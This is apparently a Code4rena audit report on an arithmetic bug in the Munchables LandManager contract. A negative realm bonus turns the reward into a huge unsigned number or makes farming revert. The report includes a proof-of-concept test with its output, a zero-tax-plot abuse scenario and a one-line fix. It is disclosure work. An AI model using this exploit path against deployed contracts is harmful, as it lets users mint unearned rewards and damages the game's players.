Incorrect calculation of rewards in the _farmPlots function results in users getting wrong/huge rewards or causing munchables to always get stuck with overflow errors

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-07-munchables/blob/main/src/managers/LandManager.sol#L270-L289 https://github.com/code-423n4/2024-07-munchables/blob/main/deployments/cache/mainnet/deployment-2024-06-01T21-33-57.416Z.json#L72-L77 https://github.com/code-423n4/2024-07-munchables/blob/main/deployments/utils/consts.ts#L129-L131

Vulnerability details

Impact

The original design intent was to adjust the schnibblesTotal reward by 5% or 10% based on the realm compatibility rules, thus preventing users from placing munchables onto realms different from the munchables' properties. However, incorrect math can cause schnibblesTotal to be inconsistent with this rule, or even become negative. This can cause users to receive incorrect rewards, even break the game ecosystem due to type conversion resulting in huge rewards, or munchables always get stuck due to overflow errors.

Proof of Concept

The reward calculation in the _farmPlot function code snippet:

            finalBonus =
                int16(
                    REALM_BONUSES[
                        (uint256(immutableAttributes.realm) * 5) +
                            uint256(landlordMetadata.snuggeryRealm)
                    ]
                ) +
                int16(
                    int8(RARITY_BONUSES[uint256(immutableAttributes.rarity)])
                );
            schnibblesTotal =
                (timestamp - _toiler.lastToilDate) *
                BASE_SCHNIBBLE_RATE;
            schnibblesTotal = uint256(
                (int256(schnibblesTotal) +
                    (int256(schnibblesTotal) * finalBonus)) / 100
            );
            schnibblesLandlord =
                (schnibblesTotal * _toiler.latestTaxRate) /
                1e18;

the schnibblesTotal will be affected by the finalbonus calculated by REALM_BONUSES and RARITY_BONUSES.

For specific rules, see the configuration parameters of the deployment script and the documentation. https://munchables.gitbook.io/munchables/explorers-guide/glossary/schnibble-multipliers

the key point is REALM_BONUSES:

export const REALM_BONUSES = [
  10, -10, -5, 0, 5, -10, 10, -5, 5, 0, -5, 0, 10, 5, -10, 0, -5, 10, 10, -10, 5, 10, 0, -10, 10,
];

when the user putting munchables onto realms that are not the same as the munchables' property, the finalBonus will be negtive, for example -10.

now check this code snippet:

            schnibblesTotal = uint256(
                (int256(schnibblesTotal) +
                    (int256(schnibblesTotal) * finalBonus)) / 100
            );

It got its arithmetic priorities in the wrong order, and for positive finalBonus it miscalculated the rewards.

For a negative finalBonus, there are two scenarios:

1. Landlord Locked Up Funds Before LandManager Contract Deployment

• There are many landlords have already locked funds because the LockManager contract is deployed on the mainnet and can be found in deployment.json
• Upon deploying the LandManager contract, these landlords will have a zero tax rate if they choose not to call triggerPlotMetadata to update plot metadata.
• A malicious user could pre-lock funds and, after deploying the LandManager contract, have another account holding the NFT. They could then place a munchableNFT with different realm attributes to occupy the zero-tax plot.
• Now give a example: If schnibblesTotal is 1000 and finalBonus is -10, the calculation results in -90. Casting -90 to uint256 yields a large number. and next calculation:

          schnibblesLandlord =
              (schnibblesTotal * _toiler.latestTaxRate) /
              1e18;

  Since _toiler.latestTaxRate is 0, it does not overflow, allowing the user to get a huge reward.

2. Landlord Locked Up Funds After LandManager Contract Deployment

• After the LandManager contract is deployed, any newly locked funds may result in users not being able to farm due to overflow errors in the reward calculation, and causing munchables to always be stuck.

Poc Test

To facilitate the testing of the first scenario, you need to comment out this line of the AccountManager contract (this line of code is an update to adapt to the landmanager contract, which will not exist in the onchain contract), or make a mock function. I chose the former.

the poc file:

import assert from "node:assert";
import { after, afterEach, before, beforeEach, describe, it } from "node:test";
import { parseEther, zeroAddress } from "viem";
import { DeployedContractsType } from "../../../deployments/actions/deploy-contracts";
import { assertContractFunctionRevertedError, assertTxSuccess } from "../../utils/asserters";
import { testClient } from "../../utils/consts";
import { getTestContracts, getTestRoleAddresses } from "../../utils/contracts";
import { MockNFTOverlordContractType, deployMockNFTOverlord } from "../../utils/mock-contracts";
import { registerPlayer } from "../../utils/players";

describe("LandManager: stakeMunchable", () => {
  let alice: `0x${string}`;
  let bob: `0x${string}`;
  let jirard: `0x${string}`;
  let beforeSnapshot: `0x${string}`;
  let beforeEachSnapshot: `0x${string}`;
  let testContracts: DeployedContractsType;
  let mockNFTOverlord: MockNFTOverlordContractType;

  before(async () => {
    testContracts = await getTestContracts();

    beforeSnapshot = await testClient.snapshot();

    const testRoleAddresses = await getTestRoleAddresses();
    mockNFTOverlord = await deployMockNFTOverlord({ testContracts });
    [alice, bob, jirard] = testRoleAddresses.users;
    await testClient.setBalance({
      address: alice,
      value: parseEther("10"),
    });
    await testClient.setBalance({
      address: bob,
      value: parseEther("10"),
    });
    await testClient.setBalance({
      address: jirard,
      value: parseEther("10"),
    });
  });

  beforeEach(async () => {
    beforeEachSnapshot = await testClient.snapshot();
  });

  afterEach(async () => {
    await testClient.revert({ id: beforeEachSnapshot });
  });

  after(async () => {
    await testClient.revert({ id: beforeSnapshot });
  });

  describe("all paths", () => {
    beforeEach(async () => {
      await registerPlayer({
        account: alice,
        testContracts,
      });
      await registerPlayer({
        account: bob,
        testContracts,
      });
      await registerPlayer({
        account: jirard,
        testContracts,
      });

      const { request } = await testContracts.lockManager.contract.simulate.lock(
        [zeroAddress, parseEther("1")],
        { account: alice, value: parseEther("1") }
      );
      const txHash = await testClient.writeContract(request);
      await assertTxSuccess({ txHash: txHash });

      await mockNFTOverlord.write.addReveal([alice, 100], { account: alice });
      await mockNFTOverlord.write.addReveal([bob, 100], { account: bob });
      await mockNFTOverlord.write.addReveal([bob, 100], { account: bob });
      await mockNFTOverlord.write.startReveal([bob], { account: bob }); // 1
      await mockNFTOverlord.write.reveal([bob, 0, 25], { account: bob }); // 1
      await mockNFTOverlord.write.startReveal([bob], { account: bob }); // 2
      await mockNFTOverlord.write.reveal([bob, 0, 1], { account: bob }); // 2
      await mockNFTOverlord.write.startReveal([alice], { account: alice }); // 3
      await mockNFTOverlord.write.reveal([alice, 1, 14], { account: alice }); // 3
      await mockNFTOverlord.write.startReveal([jirard], { account: jirard }); // 4
      await mockNFTOverlord.write.reveal([jirard, 0, 22], { account: jirard }); // 4
      await mockNFTOverlord.write.startReveal([jirard], { account: jirard }); // 5
      await mockNFTOverlord.write.reveal([jirard, 0, 23], { account: jirard }); // 5

      const immutableAttributesRead =
      await testContracts.nftAttributesManagerV1.contract.read.getImmutableAttributes(
        [1n],
        {
          account: bob,
        }
      );
      console.log(immutableAttributesRead);
    });
    it("farm with different realm", async () => {
      const txHash = await testContracts.munchNFT.contract.write.approve(
        [testContracts.landManagerProxy.contract.address, 1n],
        { account: bob }
      );
      await assertTxSuccess({ txHash });
      const txHash2 = await testContracts.munchNFT.contract.write.approve(
        [testContracts.landManagerProxy.contract.address, 2n],
        { account: bob }
      );
      await assertTxSuccess({ txHash: txHash2 });
      const stakeMunchableTxHash =
        await testContracts.landManagerProxy.contract.write.stakeMunchable([alice, 1, 0], {
          account: bob,
        });
      await assertTxSuccess({ txHash: stakeMunchableTxHash });

      console.log("before farm");
      const registeredPlayerAlice = await testContracts.accountManagerProxy.contract.read.getPlayer(
        [alice]
      );
      console.log(registeredPlayerAlice);
      const registeredPlayerBob = await testContracts.accountManagerProxy.contract.read.getPlayer(
        [bob]
      );
      console.log(registeredPlayerBob);

      console.log("Farm with different realm");
      const { request: farmRequest } =
      await testContracts.landManagerProxy.contract.simulate.farmPlots([], {
        account: bob,
      });
      const farmHash = await testClient.writeContract(farmRequest);

      const registeredPlayerAlice2 = await testContracts.accountManagerProxy.contract.read.getPlayer(
        [alice]
      );
      console.log(registeredPlayerAlice2);
      const registeredPlayerBob2 = await testContracts.accountManagerProxy.contract.read.getPlayer(
        [bob]
      );
      console.log(registeredPlayerBob2);
    });
  });
});

and get the output:

Configuring test contracts...
Configuring test roles...
Pausing contracts...
{
  rarity: 0,
  species: 25,
  realm: 1,
  generation: 2,
  hatchedDate: 1713316704
}
before farm
[
  '0x90F79bf6EB2c4f870365E785982E1f101E93b906',
  {
    registrationDate: 1713316696,
    lastPetMunchable: 0,
    lastHarvestDate: 1713316708,
    snuggeryRealm: 0,
    maxSnuggerySize: 6,
    unfedSchnibbles: 39062500000000000n,
    referrer: '0x0000000000000000000000000000000000000000'
  }
]
[
  '0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65',
  {
    registrationDate: 1713316697,
    lastPetMunchable: 0,
    lastHarvestDate: 1713316715,
    snuggeryRealm: 0,
    maxSnuggerySize: 6,
    unfedSchnibbles: 0n,
    referrer: '0x0000000000000000000000000000000000000000'
  }
]
Farm with different realm
[
  '0x90F79bf6EB2c4f870365E785982E1f101E93b906',
  {
    registrationDate: 1713316696,
    lastPetMunchable: 1713316716,
    lastHarvestDate: 1713316708,
    snuggeryRealm: 0,
    maxSnuggerySize: 6,
    unfedSchnibbles: 39062500000000000n,
    referrer: '0x0000000000000000000000000000000000000000'
  }
]
[
  '0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65',
  {
    registrationDate: 1713316697,
    lastPetMunchable: 0,
    lastHarvestDate: 1713316715,
    snuggeryRealm: 0,
    maxSnuggerySize: 6,
    unfedSchnibbles: 115792089237316195423570985008687907853269984665640564039457583917913129639936n,
    referrer: '0x0000000000000000000000000000000000000000'
  }
]
▶ LandManager: stakeMunchable
  ▶ all paths
    ✔ farm with different realm (69.198833ms)
  ▶ all paths (69.453334ms)
▶ LandManager: stakeMunchable (1343.361708ms)

For the second test, the commented code is reverted back and run the poc file and will get an overflow error.

panic: arithmetic underflow or overflow

Tools Used

Manual

Recommended Mitigation Steps

diff -u src/managers/LandManager.sol src/managers/LandManager.sol.fix
@@ -282,7 +282,7 @@
                 BASE_SCHNIBBLE_RATE;
             schnibblesTotal = uint256(
                 (int256(schnibblesTotal) +
-                    (int256(schnibblesTotal) * finalBonus)) / 100
+                    (int256(schnibblesTotal) * finalBonus) / 100)
             );
             schnibblesLandlord =
                 (schnibblesTotal * _toiler.latestTaxRate) /

Assessed type

Math

[c4-judge]

alex-ppg marked the issue as satisfactory